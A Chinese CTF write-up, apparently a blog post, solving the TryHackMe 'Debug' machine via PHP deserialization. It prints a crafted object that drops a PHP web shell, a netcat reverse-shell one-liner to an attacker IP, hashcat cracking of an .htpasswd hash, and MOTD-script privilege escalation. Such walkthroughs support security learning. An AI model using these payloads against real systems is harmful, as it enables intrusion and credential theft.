TryHackMe-Debug(ez php反序列化)

Debug

Linux机器CTF!您将了解枚举,查找隐藏的密码文件以及如何利用php反序列化!


端口扫描

循例,nmap

在这里插入图片描述

Web枚举

进到web是apache默认页面,直接开扫

在这里插入图片描述

在这里插入图片描述

由于题目告诉我们涉及php反序列化,那直接找php文件来看,这里下载index.php.bak

PHP 反序列化

非常简单的反序列化

”所有php里面的值都可以使用函数 serialize () 来返回一个包含字节流的字符串来表示。. unserialize () 函数能够重新把字符串变回php原来的值。. 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。. 为了能够 unserialize () 一个对象,这个对象的类必须已经定义过。. 如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。. 如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义“

<?php

class FormSubmit {

public $form_file = 'message.txt';
public $message = '';

public function SaveMessage() {

$NameArea = $_GET['name']; 
$EmailArea = $_GET['email'];
$TextArea = $_GET['comments'];

	$this-> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . "\n";

}

public function __destruct() {

file_put_contents(__DIR__ . '/' . $this->form_file,$this->message,FILE_APPEND);
echo 'Your submission has been successfully saved!';

}

}

// Leaving this for now... only for debug purposes... do not touch!

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

$application = new FormSubmit;
$application -> SaveMessage();


?>

这里对debug参数进行反序列并执行函数

$debug = $_GET['debug'] ?? '';
$messageDebug = unserialize($debug);

$application = new FormSubmit;
$application -> SaveMessage();

这里直接劫持form_file和message参数,然后重新序列化

public $form_file = 'cmd.php';
public $message = '<?php @system($_GET["cmd"]);?>';
$obj = new FormSubmit();

echo serialize($obj);

传过去:

在这里插入图片描述

开启nc监听,然后直接reverse shell

payload:

mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

在这里插入图片描述

在这里插入图片描述

加固shell:

python3 -c "import pty;pty.spawn('/bin/bash')"

横向移动

在home目录下有两个文件夹,但是无权访问

在这里插入图片描述

再看看服务账户的家目录下,看一下.htpasswd发现了james的凭据

在这里插入图片描述

这里可以使用hash-identifier查看类型然后再查看hashcat -h找找类型值

为了方便我这里使用haiti-hash,这个工具直接给出hashcat和john的对应类型值

在这里插入图片描述

hashcat爆破:

hashcat -a 0 -m 1600 ./hash /usr/share/wordlists/rockyou.txt

在这里插入图片描述

直接登录james的ssh

在这里插入图片描述

权限提升

查看.bash_history

在这里插入图片描述

发现该目录下的文件james组有权修改,这里可以执行命令

在这里插入图片描述

修改00-header

在这里插入图片描述

重新登录james的ssh

在这里插入图片描述

getroot

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值